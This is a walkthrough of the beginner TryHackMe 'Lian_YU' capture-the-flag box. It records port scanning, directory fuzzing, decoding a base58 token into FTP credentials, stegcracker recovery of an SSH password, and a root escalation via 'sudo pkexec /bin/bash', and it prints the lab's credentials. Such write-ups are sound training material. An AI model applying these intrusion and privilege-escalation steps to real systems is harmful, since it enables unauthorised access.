Introduction

Welcome to Lian_YU, this Arrowverse themed beginner CTF box! Capture the flags and have fun.

Normally I keep notes in Cherrytree. I’m going to try doing notes directly into Joplin as I work instead for this.

nmap

root@kali:/opt/tryhackme/lian_yu# nmap -p- -T4 10.10.156.179 -oA tcp_all_ports -vv

Results

Ports 21 (FTP), 22 (SSH), 80 (Webserver), 111 (unknown), 54272 (unknown). Google says Port 111 is probably RCP. We’ll get nmap to see if it knows.

Port 111

nmap says it’s rpcbind. Not sure if it’s important yet. Port 54272 also appears to be related to RPC.

root@kali:/opt/tryhackme/lian_yu# rpcinfo -p 10.10.156.179
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  44947  status
    100024    1   tcp  54272  status

I don’t think this is relevant.

FTP

Anonymous login not permitted.
nmap says: 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.2 Searchsploit doesn’t list a vulnerability for this version, so presumably we’re going to need some credentials.

Webserver

Page title is Purgatory, and there is some content about the TV Series Arrow that doesn’t immediately appear relevant. No robots.txt. Server home is index.html, index.php is 404 so possibly not running PHP on the server. The 404 doesn’t leak any information about which server is running.

Changing the HTTP version and host header field in Burp Repeater didn’t do anything.

Gobuster

Try a gobuster with a basic wordlist:

root@kali:/opt/tryhackme/lian_yu# gobuster dir -u http://10.10.156.179 -w /usr/share/wordlists/dirb/common.txt

This didn’t turn up anything useful, so we’ll try again with a bigger wordlist (directory-list-lowercase-2.3-small.txt).

Gobuster turned up a page called ‘island’ with the following content: Ohhh Noo, Don’t Talk…………… I wasn’t Expecting You at this Moment. I will meet you there You should find a way to Lian_Yu as we are planed. The Code Word is: vigilante

Vigilante was written in a white font on the white background so it wasn’t readily visible.

Custom wordlist 1

Since ‘island’ was a term on the index.html page, I ran cewl to generate a list of words from that page to run against gobuster:

root@kali:/opt/tryhackme/lian_yu# /opt/cewl/cewl.rb -d 99 10.10.156.179 > cewlout.txt

But it didn’t find anything other than island.

Custom wordlist 2

I went to the Arrow Season 1 wikipedia page and copied all the text to a file and then manipulated it so I had one word per line. Then I removed the duplicates and punctuation (note I rm’d the original custom.txt after the first command here):

root@kali:/opt/tryhackme/lian_yu# sort custom.txt | uniq -u > filtered.txt
root@kali:/opt/tryhackme/lian_yu# cat filtered.txt | tr -d '[:punct:]' > custom.txt

But it didn’t find anything new either.

More fuzzing

Since I’m not getting anywhere with that, let’s try fuzzing inside island:

root@kali:/opt/tryhackme/lian_yu# wfuzz --hc 404 -u http://10.10.156.179/island/FUZZ/ -w /usr/share/wordlists/dirb/common.txt 

Success: http://10.10.156.179/island/2100/

There is a hint in the page source: you can avail your .ticket here but how?

root@kali:/opt/tryhackme/lian_yu# gobuster dir -u http://10.10.62.128/island/2100/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ticket

This turned up: http://10.10.62.128/island/2100/green_arrow.ticket Which contained: This is just a token to get into Queen’s Gambit(Ship) RTy8yhBQdscX

This looks like base64, but it’s actually base58. And it decodes to !#th3h00d, which we can use for the FTP service.

FTP Again

The credentials we’ve gathered are ‘vigilante:!#th3h00d’, which gives us access to three images, so probably stego.
Poking around in the FTP directory we can go up a level and find there is another user called ‘slade’.

Stego/SSH

I hate stego. I threw stegcracker at aa.jpg and it cracked with ‘password’ and I got a file with the word ‘M3tahuman’ in it; as it turns out this is the SSH password for slade.

Privesc

Very straightforward:

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo /usr/bin/pkexec /bin/bash
root@LianYu:~# ls
root.txt
root@LianYu:~# cat root.txt
                          Mission accomplished